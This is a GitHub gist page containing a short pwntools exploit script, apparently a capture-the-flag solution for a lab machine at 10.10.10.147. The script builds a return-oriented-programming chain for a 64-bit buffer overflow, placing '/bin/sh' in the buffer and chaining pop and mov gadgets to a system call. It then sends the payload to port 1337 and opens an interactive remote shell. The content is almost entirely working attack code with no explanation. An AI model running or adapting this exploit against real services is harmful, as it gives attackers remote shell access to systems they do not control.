Skip to content

Instantly share code, notes, and snippets.

@roccogalluzzo
Created October 26, 2019 16:07
Show Gist options
  • Save roccogalluzzo/4820d6277d34cbde65037ae88b5bf850 to your computer and use it in GitHub Desktop.
Save roccogalluzzo/4820d6277d34cbde65037ae88b5bf850 to your computer and use it in GitHub Desktop.
from pwn import *
context.arch = 'amd64'
offset = 120
system_call = p64(0x401040)
pop_r13 = p64(0x401206)
mov_rdi_rsp = p64(0x401152)
shell = '/bin/sh\x00'
empty =p64(0x00)
buf = "A"*(offset-8)+shell # Offset + shell
buf += pop_r13 # pop r13, r14, r15
buf += system_call # set r13 to system call
buf += empty # set r14 to null
buf += empty # set r15 to null
buf += mov_rdi_rsp # mov rdi, rsp
conn = remote('10.10.10.147', 1337)
conn.sendline(buf)
conn.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment